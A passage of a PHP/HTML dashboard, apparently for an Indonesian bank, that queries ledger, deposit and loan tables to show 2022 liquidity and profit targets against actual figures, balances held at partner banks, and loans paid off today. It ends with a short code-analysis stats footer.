<td bgcolor="#CCCC66"><strong><?php echo $total16; ?></strong></td>
<td bgcolor="#FFFFCC"><strong><?php echo $total28; ?></strong></td>
<td bgcolor="#CCCC66"><strong>
<?php $persenall = $total28 /$total16 * 100; echo round($persenall,2);?>
</strong></td>
</tr>
</table>
<p> </p>
<p>LIKUIDITAS</p>
<table width="35%" border="1" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<th width="6%" bgcolor="#FF6600">No</th>
<th width="37%" bgcolor="#FF6600">Keterangan</th>
<th width="19%" bgcolor="#FF6600">Target 2022</th>
<th width="17%" bgcolor="#FF6600">Realisasi</th>
<th width="21%" bgcolor="#FF6600">Pencapain%</th>
</tr>
<?php
$ABA = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir FROM m_gl WHERE nobbx ='115000'");
$ABAH = sqlsrv_fetch_array ($ABA) ;
$Asset = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir FROM m_gl WHERE nobbx ='111000' OR nobbx='114000' OR nobbx ='115000' OR nobbx ='117000'OR nobbx ='118000'OR nobbx ='120000'OR nobbx ='121000'OR nobbx ='122000'OR nobbx ='123000'OR nobbx ='125000' OR nobbx ='116000' ");
$aset = sqlsrv_fetch_array ($Asset) ;
$BK = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir FROM m_gl WHERE nosbbx ='510120' OR nosbbx='510130' OR nosbbx ='510140' OR nosbbx ='510150' ");
$bungak = sqlsrv_fetch_array ($BK) ;
$pendapatan = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir FROM m_gl WHERE nobbx ='511000' OR nobbx='513000' OR nobbx ='514000' OR nobbx ='510000'");
$tpendapatan = sqlsrv_fetch_array ($pendapatan) ;
$biaya = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) as saldoakhir FROM m_gl WHERE nobbx ='611000' OR nobbx='613000' OR nobbx ='620000' OR nobbx ='630000' OR nobbx ='650000' OR nobbx ='651000' OR nobbx ='657000' OR nobbx ='660000' OR nobbx ='670000'");
$tbiaya = sqlsrv_fetch_array ($biaya) ;
$deposito = sqlsrv_query ($conn,"SELECT SUM(nominal) as nominal FROM m_deposito where stsrec ='A' ");
$tdeposito = sqlsrv_fetch_array ($deposito) ;
function getABA($angka4){
$angka4 = (int)$angka4;
$i_str = (string)$angka4;
$angkax4 = substr($i_str, 0, -3);
return (int)$angkax4;
}
$total30 = getABA($ABAH ['saldoakhir']);
$total31 = getABA($aset ['saldoakhir']);
$total32 = getABA($bungak ['saldoakhir']);
$total33 = getABA($tpendapatan ['saldoakhir']);
$total34 = getABA($tbiaya ['saldoakhir']);
$total35 = getABA($tdeposito ['nominal']);
?>
<tr style="font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>1</td>
<td align="left"><div align="left">ABA</div></td>
<td align="right"><strong>10.612.715</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total30; ?></td>
<td><?php echo round($total30/10612715*100,2); ?></td>
</tr>
<tr style="font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>2</td>
<td align="left"><div align="left">Deposito</div></td>
<td align="right"><strong>6.992.300</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total35; ?></td>
<td><?php echo round($total35/6992300*100,2); ?></td>
</tr>
<tr style="font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>3</td>
<td align="left"><div align="left">Asset</div></td>
<td align="right"><strong>33.207.019</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total31; ?></td>
<td><?php echo round($total31/33207019*100,2); ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>4</td>
<td align="left"><div align="left">Pnd.Bunga kontraktual</div></td>
<td align="right"><strong>4.819.358</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total32; ?></td>
<td><?php echo round($total32/4819358*100,2); ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>5</td>
<td align="left"><div align="left">Total Pendapatan</div></td>
<td align="right"><strong>6.952.722</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total33; ?></td>
<td><?php echo round($total33/6952722*100,2); ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>6</td>
<td align="left"><div align="left">Total Biaya</div></td>
<td align="right"><strong>5.897.784</strong></td>
<td bgcolor="#FFFFCC"><?php echo $total34; ?></td>
<td><?php echo round($total34/5897784*100,2); ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>7</td>
<td align="left"><div align="left"><strong>Laba / Rugi (EBT)</strong></div></td>
<td align="right"><strong>1.056.938</strong></td>
<td bgcolor="#CCFF99"><strong>Rp.<?php echo number_format($total33-$total34, 0, ',', '.'); ?></strong></td>
<td><?php $rt=$total33-$total34; echo round($rt/1056938*100,2); ?></td>
</tr>
</table>
<p> </p>
<table width="27%" border="1" style="border-collapse:collapse;">
<?php $ABAM = sqlsrv_query ($conn,"SELECT* FROM m_gl WHERE nosbbx ='115120'");
$ABAMU = sqlsrv_fetch_array ($ABAM) ;
$ABASU = sqlsrv_query ($conn,"SELECT* FROM m_gl WHERE nosbbx='115310' ");
$ABASUM = sqlsrv_fetch_array ($ABASU) ;
$ABASU2 = sqlsrv_query ($conn,"SELECT* FROM m_gl WHERE nosbbx='115350'");
$ABASUMS = sqlsrv_fetch_array ($ABASU2) ;
$ABAMA = sqlsrv_query ($conn,"SELECT* FROM m_gl WHERE nosbbx='115360'");
$ABAMAN = sqlsrv_fetch_array ($ABAMA) ;
$ABABR = sqlsrv_query ($conn,"SELECT* FROM m_gl WHERE nosbbx='115370'");
$ABABRI = sqlsrv_fetch_array ($ABABR) ;
$ABAT = sqlsrv_query ($conn,"SELECT SUM(saldoakhir) AS saldoakhir FROM m_gl WHERE nosbbx ='115120' OR nosbbx='115310' OR nosbbx='115350' OR nosbbx='115360' OR nosbbx='115370'");
$ABASEMUA = sqlsrv_fetch_array ($ABAT) ;
function getABA1($angka5){
$angka5 = (int)$angka5;
$i_str = (string)$angka5;
$angkax5 = substr($i_str, 0, -3);
return (int)$angkax5;
}
$total40 = getABA1($ABAMU ['saldoakhir']);
$total41 = getABA1($ABASUM ['saldoakhir']);
$total42 = getABA1($ABASUMS ['saldoakhir']);
$total43 = getABA1($ABAMAN ['saldoakhir']);
$total44 = getABA1($ABABRI ['saldoakhir']);
$total45 = getABA1($ABASEMUA ['saldoakhir']);
?>
<tr style="font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td colspan="3" bgcolor="#FF3300">ABA TABUNGAN</td>
</tr>
<tr style="font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td width="11%">1</td>
<td width="67%" align="left"><div align="left">ABA GIRO BANK MUAMALAT</div></td>
<td width="22%" bgcolor="#FFFFCC"><?php echo $total40; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>2</td>
<td align="left"><div align="left">ABA TABUNGAN BANK SUMUT</div></td>
<td bgcolor="#FFFFCC"><?php echo $total41; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>3</td>
<td align="left"><div align="left">ABA TABUNGAN SUMUT SYARIAH</div></td>
<td bgcolor="#FFFFCC"><?php echo $total42; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>4</td>
<td align="left"><div align="left">ABA TABUNGAN BANK MANDIRI</div></td>
<td bgcolor="#FFFFCC"><?php echo $total43; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td>5</td>
<td align="left"><div align="left">ABA TABUNGAN BANK BRI</div></td>
<td bgcolor="#FFFFCC"><?php echo $total44; ?></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td bgcolor="#CCCC33"> </td>
<td bgcolor="#CCCC33"><strong>TOTAL</strong></td>
<td bgcolor="#CCCC33"><strong><?php echo number_format($total45, 0, ',', '.'); ?></strong></td>
</tr>
</table>
<p> </p>
<table width="21%" border="1" cellpadding="5" style="border-collapse:collapse;">
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td colspan="3" bgcolor="#CCFFFF"><strong>Kredit Lunas Hari ini</strong></td>
</tr>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td width="16%">NO</td>
<td width="48%"><strong>Nama</strong></td>
<td width="36%"><strong>Nominal</strong></td>
</tr>
<?php
date_default_timezone_set('Asia/Jakarta');
$tgl=date("Ymd");
$lunas = sqlsrv_query($conn,"SELECT * FROM m_loan WHERE stsrec='L' AND tglkons=$tgl");
while ($ls = sqlsrv_fetch_array ($lunas)) {
?>
<tr style=" font-size:9pt; text-align:center; font-family: Tahoma, Geneva, sans-serif;">
<td> </td>
<td><?php echo $ls['fnama']; ?></td>
<td><?php echo $ls['angsuran_pokok']; ?></td>
</tr>
<?php }?>
</table>
Function Calls
| feof | 1 |
| fopen | 1 |
Stats
| MD5 | de6af12a2d80b7cb128b3173b551e981 |
| Eval Count | 0 |
| Decode Time | 194 ms |